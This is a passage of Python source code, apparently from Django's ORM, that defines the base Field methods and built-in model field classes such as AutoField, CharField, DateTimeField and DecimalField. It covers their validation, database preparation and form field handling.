    def db_type(self, connection):
        """
        Return the database column data type for this field, for the provided
        connection.
        """
        # The default implementation of this method looks at the
        # backend-specific data_types dictionary, looking up the field by its
        # "internal type".
        #
        # A Field class can implement the get_internal_type() method to specify
        # which *preexisting* Django Field class it's most similar to -- i.e.,
        # a custom field might be represented by a TEXT column type, which is
        # the same as the TextField Django field type, which means the custom
        # field's get_internal_type() returns 'TextField'.
        #
        # But the limitation of the get_internal_type() / data_types approach
        # is that it cannot handle database column types that aren't already
        # mapped to one of the built-in Django field types. In this case, you
        # can implement db_type() instead of get_internal_type() to specify
        # exactly which wacky database column type you want to use.
        data = DictWrapper(self.__dict__, connection.ops.quote_name, "qn_")
        try:
            return connection.data_types[self.get_internal_type()] % data
        except KeyError:
            return None

    def rel_db_type(self, connection):
        """
        Return the data type that a related field pointing to this field should
        use. For example, this method is called by ForeignKey and OneToOneField
        to determine its data type.
        """
        return self.db_type(connection)

    def db_parameters(self, connection):
        """
        Extension of db_type(), providing a range of different return
        values (type, checks).
        This will look at db_type(), allowing custom model fields to override it.
        """
        type_string = self.db_type(connection)
        check_string = self.db_check(connection)
        return {
            "type": type_string,
            "check": check_string,
        }

    def db_type_suffix(self, connection):
        return connection.data_types_suffix.get(self.get_internal_type())

    def get_db_converters(self, connection):
        if hasattr(self, 'from_db_value'):
            return [self.from_db_value]
        return []

    @property
    def unique(self):
        return self._unique or self.primary_key

    def set_attributes_from_name(self, name):
        if not self.name:
            self.name = name
        self.attname, self.column = self.get_attname_column()
        self.concrete = self.column is not None
        if self.verbose_name is None and self.name:
            self.verbose_name = self.name.replace('_', ' ')

    def contribute_to_class(self, cls, name, private_only=False, virtual_only=NOT_PROVIDED):
        """
        Register the field with the model class it belongs to.

        If private_only is True, a separate instance of this field will be
        created for every subclass of cls, even if cls is not an abstract
        model.
        """
        if virtual_only is not NOT_PROVIDED:
            warnings.warn(
                "The `virtual_only` argument of Field.contribute_to_class() "
                "has been renamed to `private_only`.",
                RemovedInDjango20Warning, stacklevel=2
            )
            private_only = virtual_only
        self.set_attributes_from_name(name)
        self.model = cls
        if private_only:
            cls._meta.add_field(self, private=True)
        else:
            cls._meta.add_field(self)
        if self.column:
            # Don't override classmethods with the descriptor. This means that
            # if you have a classmethod and a field with the same name, then
            # such fields can't be deferred (we don't have a check for this).
            if not getattr(cls, self.attname, None):
                setattr(cls, self.attname, DeferredAttribute(self.attname, cls))
        if self.choices:
            setattr(cls, 'get_%s_display' % self.name,
                    curry(cls._get_FIELD_display, field=self))

    def get_filter_kwargs_for_object(self, obj):
        """
        Return a dict that when passed as kwargs to self.model.filter(), would
        yield all instances having the same value for this field as obj has.
        """
        return {self.name: getattr(obj, self.attname)}

    def get_attname(self):
        return self.name

    def get_attname_column(self):
        attname = self.get_attname()
        column = self.db_column or attname
        return attname, column

    def get_cache_name(self):
        return '_%s_cache' % self.name

    def get_internal_type(self):
        return self.__class__.__name__

    def pre_save(self, model_instance, add):
        """
        Returns field's value just before saving.
        """
        return getattr(model_instance, self.attname)

    def get_prep_value(self, value):
        """
        Perform preliminary non-db specific value checks and conversions.
        """
        if isinstance(value, Promise):
            value = value._proxy____cast()
        return value

    def get_db_prep_value(self, value, connection, prepared=False):
        """Returns field's value prepared for interacting with the database
        backend.

        Used by the default implementations of get_db_prep_save().
        """
        if not prepared:
            value = self.get_prep_value(value)
        return value

    def get_db_prep_save(self, value, connection):
        """
        Returns field's value prepared for saving into a database.
        """
        return self.get_db_prep_value(value, connection=connection,
                                      prepared=False)

    def has_default(self):
        """
        Returns a boolean of whether this field has a default value.
        """
        return self.default is not NOT_PROVIDED

    def get_default(self):
        """
        Returns the default value for this field.
        """
        if self.has_default():
            if callable(self.default):
                return self.default()
            return self.default
        if not self.empty_strings_allowed or self.null and not connection.features.interprets_empty_strings_as_nulls:
            return None
        return ""

    def get_choices(self, include_blank=True, blank_choice=BLANK_CHOICE_DASH, limit_choices_to=None):
        """Returns choices with a default blank choices included, for use
        as SelectField choices for this field."""
        blank_defined = False
        choices = list(self.choices) if self.choices else []
        named_groups = choices and isinstance(choices[0][1], (list, tuple))
        if not named_groups:
            for choice, __ in choices:
                if choice in ('', None):
                    blank_defined = True
                    break

        first_choice = (blank_choice if include_blank and
                        not blank_defined else [])
        if self.choices:
            return first_choice + choices
        rel_model = self.remote_field.model
        limit_choices_to = limit_choices_to or self.get_limit_choices_to()
        if hasattr(self.remote_field, 'get_related_field'):
            lst = [(getattr(x, self.remote_field.get_related_field().attname),
                   smart_text(x))
                   for x in rel_model._default_manager.complex_filter(
                       limit_choices_to)]
        else:
            lst = [(x._get_pk_val(), smart_text(x))
                   for x in rel_model._default_manager.complex_filter(
                       limit_choices_to)]
        return first_choice + lst

    @warn_about_renamed_method(
        'Field', '_get_val_from_obj', 'value_from_object',
        RemovedInDjango20Warning
    )
    def _get_val_from_obj(self, obj):
        if obj is not None:
            return getattr(obj, self.attname)
        else:
            return self.get_default()

    def value_to_string(self, obj):
        """
        Returns a string value of this field from the passed obj.
        This is used by the serialization framework.
        """
        return smart_text(self.value_from_object(obj))

    def _get_flatchoices(self):
        """Flattened version of choices tuple."""
        flat = []
        for choice, value in self.choices:
            if isinstance(value, (list, tuple)):
                flat.extend(value)
            else:
                flat.append((choice, value))
        return flat
    flatchoices = property(_get_flatchoices)

    def save_form_data(self, instance, data):
        setattr(instance, self.name, data)

    def formfield(self, form_class=None, choices_form_class=None, **kwargs):
        """
        Returns a django.forms.Field instance for this database Field.
        """
        defaults = {'required': not self.blank,
                    'label': capfirst(self.verbose_name),
                    'help_text': self.help_text}
        if self.has_default():
            if callable(self.default):
                defaults['initial'] = self.default
                defaults['show_hidden_initial'] = True
            else:
                defaults['initial'] = self.get_default()
        if self.choices:
            # Fields with choices get special treatment.
            include_blank = (self.blank or
                             not (self.has_default() or 'initial' in kwargs))
            defaults['choices'] = self.get_choices(include_blank=include_blank)
            defaults['coerce'] = self.to_python
            if self.null:
                defaults['empty_value'] = None
            if choices_form_class is not None:
                form_class = choices_form_class
            else:
                form_class = forms.TypedChoiceField
            # Many of the subclass-specific formfield arguments (min_value,
            # max_value) don't apply for choice fields, so be sure to only pass
            # the values that TypedChoiceField will understand.
            for k in list(kwargs):
                if k not in ('coerce', 'empty_value', 'choices', 'required',
                             'widget', 'label', 'initial', 'help_text',
                             'error_messages', 'show_hidden_initial'):
                    del kwargs[k]
        defaults.update(kwargs)
        if form_class is None:
            form_class = forms.CharField
        return form_class(**defaults)

    def value_from_object(self, obj):
        """
        Returns the value of this field in the given model instance.
        """
        return getattr(obj, self.attname)


class AutoField(Field):
    description = _("Integer")

    empty_strings_allowed = False
    default_error_messages = {
        'invalid': _("'%(value)s' value must be an integer."),
    }

    def __init__(self, *args, **kwargs):
        kwargs['blank'] = True
        super(AutoField, self).__init__(*args, **kwargs)

    def check(self, **kwargs):
        errors = super(AutoField, self).check(**kwargs)
        errors.extend(self._check_primary_key())
        return errors

    def _check_primary_key(self):
        if not self.primary_key:
            return [
                checks.Error(
                    'AutoFields must set primary_key=True.',
                    obj=self,
                    id='fields.E100',
                ),
            ]
        else:
            return []

    def deconstruct(self):
        name, path, args, kwargs = super(AutoField, self).deconstruct()
        del kwargs['blank']
        kwargs['primary_key'] = True
        return name, path, args, kwargs

    def get_internal_type(self):
        return "AutoField"

    def to_python(self, value):
        if value is None:
            return value
        try:
            return int(value)
        except (TypeError, ValueError):
            raise exceptions.ValidationError(
                self.error_messages['invalid'],
                code='invalid',
                params={'value': value},
            )

    def rel_db_type(self, connection):
        return IntegerField().db_type(connection=connection)

    def validate(self, value, model_instance):
        pass

    def get_db_prep_value(self, value, connection, prepared=False):
        if not prepared:
            value = self.get_prep_value(value)
            value = connection.ops.validate_autopk_value(value)
        return value

    def get_prep_value(self, value):
        value = super(AutoField, self).get_prep_value(value)
        if value is None:
            return None
        return int(value)

    def contribute_to_class(self, cls, name, **kwargs):
        assert not cls._meta.has_auto_field, \
            "A model can't have more than one AutoField."
        super(AutoField, self).contribute_to_class(cls, name, **kwargs)
        cls._meta.has_auto_field = True
        cls._meta.auto_field = self

    def formfield(self, **kwargs):
        return None


class BigAutoField(AutoField):
    description = _("Big (8 byte) integer")

    def get_internal_type(self):
        return "BigAutoField"

    def rel_db_type(self, connection):
        return BigIntegerField().db_type(connection=connection)


class BooleanField(Field):
    empty_strings_allowed = False
    default_error_messages = {
        'invalid': _("'%(value)s' value must be either True or False."),
    }
    description = _("Boolean (Either True or False)")

    def __init__(self, *args, **kwargs):
        kwargs['blank'] = True
        super(BooleanField, self).__init__(*args, **kwargs)

    def check(self, **kwargs):
        errors = super(BooleanField, self).check(**kwargs)
        errors.extend(self._check_null(**kwargs))
        return errors

    def _check_null(self, **kwargs):
        if getattr(self, 'null', False):
            return [
                checks.Error(
                    'BooleanFields do not accept null values.',
                    hint='Use a NullBooleanField instead.',
                    obj=self,
                    id='fields.E110',
                )
            ]
        else:
            return []

    def deconstruct(self):
        name, path, args, kwargs = super(BooleanField, self).deconstruct()
        del kwargs['blank']
        return name, path, args, kwargs

    def get_internal_type(self):
        return "BooleanField"

    def to_python(self, value):
        if value in (True, False):
            # if value is 1 or 0 than it's equal to True or False, but we want
            # to return a true bool for semantic reasons.
            return bool(value)
        if value in ('t', 'True', '1'):
            return True
        if value in ('f', 'False', '0'):
            return False
        raise exceptions.ValidationError(
            self.error_messages['invalid'],
            code='invalid',
            params={'value': value},
        )

    def get_prep_value(self, value):
        value = super(BooleanField, self).get_prep_value(value)
        if value is None:
            return None
        return self.to_python(value)

    def formfield(self, **kwargs):
        # Unlike most fields, BooleanField figures out include_blank from
        # self.null instead of self.blank.
        if self.choices:
            include_blank = not (self.has_default() or 'initial' in kwargs)
            defaults = {'choices': self.get_choices(include_blank=include_blank)}
        else:
            defaults = {'form_class': forms.BooleanField}
        defaults.update(kwargs)
        return super(BooleanField, self).formfield(**defaults)


class CharField(Field):
    description = _("String (up to %(max_length)s)")

    def __init__(self, *args, **kwargs):
        super(CharField, self).__init__(*args, **kwargs)
        self.validators.append(validators.MaxLengthValidator(self.max_length))

    def check(self, **kwargs):
        errors = super(CharField, self).check(**kwargs)
        errors.extend(self._check_max_length_attribute(**kwargs))
        return errors

    def _check_max_length_attribute(self, **kwargs):
        if self.max_length is None:
            return [
                checks.Error(
                    "CharFields must define a 'max_length' attribute.",
                    obj=self,
                    id='fields.E120',
                )
            ]
        elif not isinstance(self.max_length, six.integer_types) or self.max_length <= 0:
            return [
                checks.Error(
                    "'max_length' must be a positive integer.",
                    obj=self,
                    id='fields.E121',
                )
            ]
        else:
            return []

    def get_internal_type(self):
        return "CharField"

    def to_python(self, value):
        if isinstance(value, six.string_types) or value is None:
            return value
        return smart_text(value)

    def get_prep_value(self, value):
        value = super(CharField, self).get_prep_value(value)
        return self.to_python(value)

    def formfield(self, **kwargs):
        # Passing max_length to forms.CharField means that the value's length
        # will be validated twice. This is considered acceptable since we want
        # the value in the form field (to pass into widget for example).
        defaults = {'max_length': self.max_length}
        # TODO: Handle multiple backends with different feature flags.
        if self.null and not connection.features.interprets_empty_strings_as_nulls:
            defaults['empty_value'] = None
        defaults.update(kwargs)
        return super(CharField, self).formfield(**defaults)


class CommaSeparatedIntegerField(CharField):
    default_validators = [validators.validate_comma_separated_integer_list]
    description = _("Comma-separated integers")
    system_check_deprecated_details = {
        'msg': (
            'CommaSeparatedIntegerField has been deprecated. Support '
            'for it (except in historical migrations) will be removed '
            'in Django 2.0.'
        ),
        'hint': (
            'Use CharField(validators=[validate_comma_separated_integer_list]) instead.'
        ),
        'id': 'fields.W901',
    }

    def formfield(self, **kwargs):
        defaults = {
            'error_messages': {
                'invalid': _('Enter only digits separated by commas.'),
            }
        }
        defaults.update(kwargs)
        return super(CommaSeparatedIntegerField, self).formfield(**defaults)


class DateTimeCheckMixin(object):

    def check(self, **kwargs):
        errors = super(DateTimeCheckMixin, self).check(**kwargs)
        errors.extend(self._check_mutually_exclusive_options())
        errors.extend(self._check_fix_default_value())
        return errors

    def _check_mutually_exclusive_options(self):
        # auto_now, auto_now_add, and default are mutually exclusive
        # options. The use of more than one of these options together
        # will trigger an Error
        mutually_exclusive_options = [self.auto_now_add, self.auto_now, self.has_default()]
        enabled_options = [option not in (None, False) for option in mutually_exclusive_options].count(True)
        if enabled_options > 1:
            return [
                checks.Error(
                    "The options auto_now, auto_now_add, and default "
                    "are mutually exclusive. Only one of these options "
                    "may be present.",
                    obj=self,
                    id='fields.E160',
                )
            ]
        else:
            return []

    def _check_fix_default_value(self):
        return []


class DateField(DateTimeCheckMixin, Field):
    empty_strings_allowed = False
    default_error_messages = {
        'invalid': _("'%(value)s' value has an invalid date format. It must be "
                     "in YYYY-MM-DD format."),
        'invalid_date': _("'%(value)s' value has the correct format (YYYY-MM-DD) "
                          "but it is an invalid date."),
    }
    description = _("Date (without time)")

    def __init__(self, verbose_name=None, name=None, auto_now=False,
                 auto_now_add=False, **kwargs):
        self.auto_now, self.auto_now_add = auto_now, auto_now_add
        if auto_now or auto_now_add:
            kwargs['editable'] = False
            kwargs['blank'] = True
        super(DateField, self).__init__(verbose_name, name, **kwargs)

    def _check_fix_default_value(self):
        """
        Adds a warning to the checks framework stating, that using an actual
        date or datetime value is probably wrong; it's only being evaluated on
        server start-up.

        For details see ticket #21905
        """
        if not self.has_default():
            return []

        now = timezone.now()
        if not timezone.is_naive(now):
            now = timezone.make_naive(now, timezone.utc)
        value = self.default
        if isinstance(value, datetime.datetime):
            if not timezone.is_naive(value):
                value = timezone.make_naive(value, timezone.utc)
            value = value.date()
        elif isinstance(value, datetime.date):
            # Nothing to do, as dates don't have tz information
            pass
        else:
            # No explicit date / datetime value -- no checks necessary
            return []
        offset = datetime.timedelta(days=1)
        lower = (now - offset).date()
        upper = (now + offset).date()
        if lower <= value <= upper:
            return [
                checks.Warning(
                    'Fixed default value provided.',
                    hint='It seems you set a fixed date / time / datetime '
                         'value as default for this field. This may not be '
                         'what you want. If you want to have the current date '
                         'as default, use `django.utils.timezone.now`',
                    obj=self,
                    id='fields.W161',
                )
            ]

        return []

    def deconstruct(self):
        name, path, args, kwargs = super(DateField, self).deconstruct()
        if self.auto_now:
            kwargs['auto_now'] = True
        if self.auto_now_add:
            kwargs['auto_now_add'] = True
        if self.auto_now or self.auto_now_add:
            del kwargs['editable']
            del kwargs['blank']
        return name, path, args, kwargs

    def get_internal_type(self):
        return "DateField"

    def to_python(self, value):
        if value is None:
            return value
        if isinstance(value, datetime.datetime):
            if settings.USE_TZ and timezone.is_aware(value):
                # Convert aware datetimes to the default time zone
                # before casting them to dates (#17742).
                default_timezone = timezone.get_default_timezone()
                value = timezone.make_naive(value, default_timezone)
            return value.date()
        if isinstance(value, datetime.date):
            return value

        try:
            parsed = parse_date(value)
            if parsed is not None:
                return parsed
        except ValueError:
            raise exceptions.ValidationError(
                self.error_messages['invalid_date'],
                code='invalid_date',
                params={'value': value},
            )

        raise exceptions.ValidationError(
            self.error_messages['invalid'],
            code='invalid',
            params={'value': value},
        )

    def pre_save(self, model_instance, add):
        if self.auto_now or (self.auto_now_add and add):
            value = datetime.date.today()
            setattr(model_instance, self.attname, value)
            return value
        else:
            return super(DateField, self).pre_save(model_instance, add)

    def contribute_to_class(self, cls, name, **kwargs):
        super(DateField, self).contribute_to_class(cls, name, **kwargs)
        if not self.null:
            setattr(
                cls, 'get_next_by_%s' % self.name,
                curry(cls._get_next_or_previous_by_FIELD, field=self, is_next=True)
            )
            setattr(
                cls, 'get_previous_by_%s' % self.name,
                curry(cls._get_next_or_previous_by_FIELD, field=self, is_next=False)
            )

    def get_prep_value(self, value):
        value = super(DateField, self).get_prep_value(value)
        return self.to_python(value)

    def get_db_prep_value(self, value, connection, prepared=False):
        # Casts dates into the format expected by the backend
        if not prepared:
            value = self.get_prep_value(value)
        return connection.ops.adapt_datefield_value(value)

    def value_to_string(self, obj):
        val = self.value_from_object(obj)
        return '' if val is None else val.isoformat()

    def formfield(self, **kwargs):
        defaults = {'form_class': forms.DateField}
        defaults.update(kwargs)
        return super(DateField, self).formfield(**defaults)


class DateTimeField(DateField):
    empty_strings_allowed = False
    default_error_messages = {
        'invalid': _("'%(value)s' value has an invalid format. It must be in "
                     "YYYY-MM-DD HH:MM[:ss[.uuuuuu]][TZ] format."),
        'invalid_date': _("'%(value)s' value has the correct format "
                          "(YYYY-MM-DD) but it is an invalid date."),
        'invalid_datetime': _("'%(value)s' value has the correct format "
                              "(YYYY-MM-DD HH:MM[:ss[.uuuuuu]][TZ]) "
                              "but it is an invalid date/time."),
    }
    description = _("Date (with time)")

    # __init__ is inherited from DateField

    def _check_fix_default_value(self):
        """
        Adds a warning to the checks framework stating, that using an actual
        date or datetime value is probably wrong; it's only being evaluated on
        server start-up.

        For details see ticket #21905
        """
        if not self.has_default():
            return []

        now = timezone.now()
        if not timezone.is_naive(now):
            now = timezone.make_naive(now, timezone.utc)
        value = self.default
        if isinstance(value, datetime.datetime):
            second_offset = datetime.timedelta(seconds=10)
            lower = now - second_offset
            upper = now + second_offset
            if timezone.is_aware(value):
                value = timezone.make_naive(value, timezone.utc)
        elif isinstance(value, datetime.date):
            second_offset = datetime.timedelta(seconds=10)
            lower = now - second_offset
            lower = datetime.datetime(lower.year, lower.month, lower.day)
            upper = now + second_offset
            upper = datetime.datetime(upper.year, upper.month, upper.day)
            value = datetime.datetime(value.year, value.month, value.day)
        else:
            # No explicit date / datetime value -- no checks necessary
            return []
        if lower <= value <= upper:
            return [
                checks.Warning(
                    'Fixed default value provided.',
                    hint='It seems you set a fixed date / time / datetime '
                         'value as default for this field. This may not be '
                         'what you want. If you want to have the current date '
                         'as default, use `django.utils.timezone.now`',
                    obj=self,
                    id='fields.W161',
                )
            ]

        return []

    def get_internal_type(self):
        return "DateTimeField"

    def to_python(self, value):
        if value is None:
            return value
        if isinstance(value, datetime.datetime):
            return value
        if isinstance(value, datetime.date):
            value = datetime.datetime(value.year, value.month, value.day)
            if settings.USE_TZ:
                # For backwards compatibility, interpret naive datetimes in
                # local time. This won't work during DST change, but we can't
                # do much about it, so we let the exceptions percolate up the
                # call stack.
                warnings.warn("DateTimeField %s.%s received a naive datetime "
                              "(%s) while time zone support is active." %
                              (self.model.__name__, self.name, value),
                              RuntimeWarning)
                default_timezone = timezone.get_default_timezone()
                value = timezone.make_aware(value, default_timezone)
            return value

        try:
            parsed = parse_datetime(value)
            if parsed is not None:
                return parsed
        except ValueError:
            raise exceptions.ValidationError(
                self.error_messages['invalid_datetime'],
                code='invalid_datetime',
                params={'value': value},
            )

        try:
            parsed = parse_date(value)
            if parsed is not None:
                return datetime.datetime(parsed.year, parsed.month, parsed.day)
        except ValueError:
            raise exceptions.ValidationError(
                self.error_messages['invalid_date'],
                code='invalid_date',
                params={'value': value},
            )

        raise exceptions.ValidationError(
            self.error_messages['invalid'],
            code='invalid',
            params={'value': value},
        )

    def pre_save(self, model_instance, add):
        if self.auto_now or (self.auto_now_add and add):
            value = timezone.now()
            setattr(model_instance, self.attname, value)
            return value
        else:
            return super(DateTimeField, self).pre_save(model_instance, add)

    # contribute_to_class is inherited from DateField, it registers
    # get_next_by_FOO and get_prev_by_FOO

    def get_prep_value(self, value):
        value = super(DateTimeField, self).get_prep_value(value)
        value = self.to_python(value)
        if value is not None and settings.USE_TZ and timezone.is_naive(value):
            # For backwards compatibility, interpret naive datetimes in local
            # time. This won't work during DST change, but we can't do much
            # about it, so we let the exceptions percolate up the call stack.
            try:
                name = '%s.%s' % (self.model.__name__, self.name)
            except AttributeError:
                name = '(unbound)'
            warnings.warn("DateTimeField %s received a naive datetime (%s)"
                          " while time zone support is active." %
                          (name, value),
                          RuntimeWarning)
            default_timezone = timezone.get_default_timezone()
            value = timezone.make_aware(value, default_timezone)
        return value

    def get_db_prep_value(self, value, connection, prepared=False):
        # Casts datetimes into the format expected by the backend
        if not prepared:
            value = self.get_prep_value(value)
        return connection.ops.adapt_datetimefield_value(value)

    def value_to_string(self, obj):
        val = self.value_from_object(obj)
        return '' if val is None else val.isoformat()

    def formfield(self, **kwargs):
        defaults = {'form_class': forms.DateTimeField}
        defaults.update(kwargs)
        return super(DateTimeField, self).formfield(**defaults)


class DecimalField(Field):
    empty_strings_allowed = False
    default_error_messages = {
        'invalid': _("'%(value)s' value must be a decimal number."),
    }
    description = _("Decimal number")

    def __init__(self, verbose_name=None, name=None, max_digits=None,
                 decimal_places=None, **kwargs):
        self.max_digits, self.decimal_places = max_digits, decimal_places
        super(DecimalField, self).__init__(verbose_name, name, **kwargs)

    def check(self, **kwargs):
        errors = super(DecimalField, self).check(**kwargs)

        digits_errors = self._check_decimal_places()
        digits_errors.extend(self._check_max_digits())
        if not digits_errors:
            errors.extend(self._check_decimal_places_and_max_digits(**kwargs))
        else:
            errors.extend(digits_errors)
        return errors

    def _check_decimal_places(self):
        try:
            decimal_places = int(self.decimal_places)
            if decimal_places < 0:
                raise ValueError()
        except TypeError:
            return [
                checks.Error(
                    "DecimalFields must define a 'decimal_places' attribute.",
                    obj=self,
                    id='fields.E130',
                )
            ]
        except ValueError:
            return [
                checks.Error(
                    "'decimal_places' must be a non-negative integer.",
                    obj=self,
                    id='fields.E131',
                )
            ]
        else:
            return []

    def _check_max_digits(self):
        try:
            max_digits = int(self.max_digits)
            if max_digits <= 0:
                raise ValueError()
        except TypeError:
            return [
                checks.Error(
                    "DecimalFields must define a 'max_digits' attribute.",
                    obj=self,
                    id='fields.E132',
                )
            ]
        except ValueError:
            return [
                checks.Error(
                    "'max_digits' must be a positive integer.",
                    obj=self,
                    id='fields.E133',
                )
            ]
        else:
            return []

    def _check_decimal_places_and_max_digits(self, **kwargs):
        if int(self.decimal_places) > int(self.max_digits):
            return [
                checks.Error(
                    "'max_digits' must be greater or equal to 'decimal_places'.",
                    obj=self,
                    id='fields.E134',
                )
            ]
        return []

    @cached_property
    def validators(self):
        return super(DecimalField, self).validators + [
            validators.DecimalValidator(self.max_digits, self.decimal_places)
        ]

    def deconstruct(self):
        name, path, args, kwargs = super(DecimalField, self).deconstruct()
        if self.max_digits is not None:
            kwargs['max_digits'] = self.max_digits
        if self.decimal_places is not None:
            kwargs['decimal_places'] = self.decimal_places
        return name, path, args, kwargs

    def get_internal_type(self):
        return "DecimalField"

    def to_python(self, value):
        if value is None:
            return value
        try:
            return decimal.Decimal(value)
        except decimal.InvalidOperation:
            raise exceptions.ValidationError(
                self.error_messages['invalid'],
                code='invalid',
                params={'value': value},
            )

    def _format(self, value):
        if isinstance(value, six.string_types):
            return value
        else:
            return self.format_number(value)

    def format_number(self, value):
        """
        Formats a number into a string with the requisite number of digits and
        decimal places.
        """
        # Method moved to django.db.backends.utils.
        #
        # It is preserved because it is used by the oracle backend
        # (django.db.backends.oracle.query), and also for
        # backwards-compatibility with any external code which may have used
        # this method.
        from django.db.backends import utils
        return utils.format_number(value, self.max_digits, self.decimal_places)

    def get_db_prep_save(self, value, connection):
        return connection.ops.adapt_decimalfield_value(self.to_python(value), self.max_digits, self.decimal_places)

    def get_prep_value(self, value):
        value = super(DecimalField, self).get_prep_value(value)
        return self.to_python(value)

    def formfield(self, **kwargs):
        defaults = {
            'max_digits': self.max_digits,
            'decimal_places': self.decimal_places,
            'form_class': forms.DecimalField,
        }
        defaults.update(kwargs)
        return super(DecimalField, self).formfield(**defaults)


class DurationField(Field):
    """Stores timedelta objects.

    Uses interval on postgres, INVERAL DAY TO SECOND on Oracle, and bigint of
    microseconds on other databases.
    """
    empty_strings_allowed = False
    default_error_messages = {
        'invalid': _("'%(value)s' value has an invalid format. It must be in "
                     "[DD] [HH:[MM:]]ss[.uuuuuu] format.")
    }
    description = _("Duration")

    def get_internal_type(self):
        return "DurationField"

    def to_python(self, value):
        if value is None:
            return value
        if isinstance(value, datetime.timedelta):
            return value
        try:
            parsed = parse_duration(value)
        except ValueError:
            pass
        else:
            if parsed is not None:
                return parsed

        raise exceptions.ValidationError(
            self.error_messages['invalid'],
            code='invalid',
            params={'value': value},
        )

    def get_db_prep_value(self, value, connection, prepared=False):
        if connection.features.has_native_duration_field:
            return value
        if value is None:
            return None
        # Discard any fractional microseconds due to floating point arithmetic.
        return int(round(value.total_seconds() * 1000000))

    def get_db_converters(self, connection):
        converters = []
        if not connection.features.has_native_duration_field:
            converters.append(connection.ops.convert_durationfield_value)
        return converters + super(DurationField, self).get_db_converters(connection)

    def value_to_string(self, obj):
        val = self.value_from_object(obj)
        return '' if val is None else duration_string(val)

    def formfield(self, **kwargs):
        defaults = {
            'form_class': forms.DurationField,
        }
        defaults.update(kwargs)
        return super(DurationField, self).formfield(**defaults)


class EmailField(CharField):
    default_validators = [validators.validate_email]
    description = _("Email address")

    def __init__(self, *args, **kwargs):
        # max_length=254 to be compliant with RFCs 3696 and 5321
        kwargs['max_length'] = kwargs.get('max_length', 254)
        super(EmailField, self).__init__(*args, **kwargs)

    def deconstruct(self):
        name, path, args, kwargs = super(EmailField, self).deconstruct()
        # We do not exclude max_length if it matches default as we want to change
        # the default in future.
        return name, path, args, kwargs

    def formfield(self, **kwargs):
        # As with CharField, this will cause email validation to be performed
        # twice.
        defaults = {
            'form_class': forms.EmailField,
        }
        defaults.update(kwargs)
        return super(EmailField, self).formfield(**defaults)


class FilePathField(Field):
    description = _("File path")

    def __init__(self, verbose_name=None, name=None, path='', match=None,
                 recursive=False, allow_files=True, allow_folders=False, **kwargs):
        self.path, self.match, self.recursive = path, match, recursive
        self.allow_files, self.allow_folders = allow_files, allow_folders
        kwargs['max_length'] = kwargs.get('max_length', 100)
        super(FilePathField, self).__init__(verbose_name, name, **kwargs)

    def check(self, **kwargs):
        errors = super(FilePathField, self).check(**kwargs)
        errors.extend(self._check_allowing_files_or_folders(**kwargs))
        return errors

    def _check_allowing_files_or_folders(self, **kwargs):
        if not self.allow_files and not self.allow_folders:
            return [
                checks.Error(
                    "FilePathFields must have either 'allow_files' or 'allow_folders' set to True.",
                    obj=self,
                    id='fields.E140',
                )
            ]
        return []

    def deconstruct(self):
        name, path, args, kwargs = super(FilePathField, self).deconstruct()
        if self.path != '':
            kwargs['path'] = self.path
        if self.match is not None:
            kwargs['match'] = self.match
        if self.recursive is not False:
            kwargs['recursive'] = self.recursive
        if self.allow_files is not True:
            kwargs['allow_files'] = self.allow_files
        if self.allow_folders is not False:
            kwargs['allow_folders'] = self.allow_folders
        if kwargs.get("max_length") == 100:
            del kwargs["max_length"]
        return name, path, args, kwargs

    def get_prep_value(self, value):
        value = super(FilePathField, self).get_prep_value(value)
        if value is None:
            return None
        return six.text_type(value)

    def formfield(self, **kwargs):
        defaults = {
            'path': self.path,
            'match': self.match,
            'recursive': self.recursive,
            'form_class': forms.FilePathField,
            'allow_files': self.allow_files,
            'allow_folders': self.allow_folders,
        }
        defaults.update(kwargs)
        return super(FilePathField, self).formfield(**defaults)

    def get_internal_type(self):
        return "FilePathField"


class FloatField(Field):
    empty_strings_allowed = False
    default_error_messages = {
        'invalid': _("'%(value)s' value must be a float."),
    }
    description = _("Floating point number")

    def get_prep_value(self, value):
        value = super(FloatField, self).get_prep_value(value)
        if value is None:
            return None
        return float(value)

    def get_internal_type(self):
        return "FloatField"

    def to_python(self, value):
        if value is None:
            return value
        try:
            return float(value)
        except (TypeError, ValueError):
            raise exceptions.ValidationError(
                self.error_messages['invalid'],
                code='invalid',
                params={'value': value},
            )

    def formfield(self, **kwargs):
        defaults = {'form_class': forms.FloatField}
        defaults.update(kwargs)
        return super(FloatField, self).formfield(**defaults)


class IntegerField(Field):
    empty_strings_allowed = False
    default_error_messages = {
        'invalid': _("'%(value)s' value must be an integer."),
    }
    description = _("Integer")

    def check(self, **kwargs):
        errors = super(IntegerField, self).check(**kwargs)
        errors.extend(self._check_max_length_warning())
        return errors

    def _check_max_length_warning(self):
        if self.max_length is not None:
            return [
                checks.Warning(
                    "'max_length' is ignored when used with IntegerField",
                    hint="Remove 'max_length' from field",
                    obj=self,
                    id='fields.W122',
                )
            ]
        return []

    @cached_property
    def validators(self):
        # These validators can't be added at field initialization time since
        # they're based on values retrieved from `connection`.
        validators_ = super(IntegerField, self).validators
        internal_type = self.get_internal_type()
        min_value, max_value = connection.ops.integer_field_range(internal_type)
        if min_value is not None:
            for validator in validators_:
                if isinstance(validator, validators.MinValueValidator) and validator.limit_value >= min_value:
                    break
            else:
                validators_.append(validators.MinValueValidator(min_value))
        if max_value is not None:
            for validator in validators_:
                if isinstance(validator, validators.MaxValueValidator) and validator.limit_value <= max_value:
                    break
            else:
                validators_.append(validators.MaxValueValidator(max_value))
        return validators_

    def get_prep_value(self, value):
        value = super(IntegerField, self).get_prep_value(value)
        if value is None:
            return None
        return int(value)

    def get_internal_type(self):
        return "IntegerField"

    def to_python(self, value):
        if value is None:
            return value
        try:
            return int(value)
        except (TypeError, ValueError):
            raise exceptions.ValidationError(
                self.error_messages['invalid'],
                code='invalid',
                params={'value': value},
            )

    def formfield(self, **kwargs):
        defaults = {'form_class': forms.IntegerField}
        defaults.update(kwargs)
        return super(IntegerField, self).formfield(**defaults)


class BigIntegerField(IntegerField):
    empty_strings_allowed = False
    description = _("Big (8 byte) integer")
    MAX_BIGINT = 9223372036854775807

    def get_internal_type(self):
        return "BigIntegerField"

    def formfield(self, **kwargs):
        defaults = {'min_value': -BigIntegerField.MAX_BIGINT - 1,
                    'max_value': BigIntegerField.MAX_BIGINT}
        defaults.update(kwargs)
        return super(BigIntegerField, self).formfield(**defaults)


class IPAddressField(Field):
    empty_strings_allowed = False
    description = _("IPv4 address")
    system_check_removed_details = {
        'msg': (
            'IPAddressField has been removed except for support in '
            'historical migrations.'
        ),
        'hint': 'Use GenericIPAddressField instead.',
        'id': 'fields.E900',
    }

    def __init__(self, *args, **kwargs):
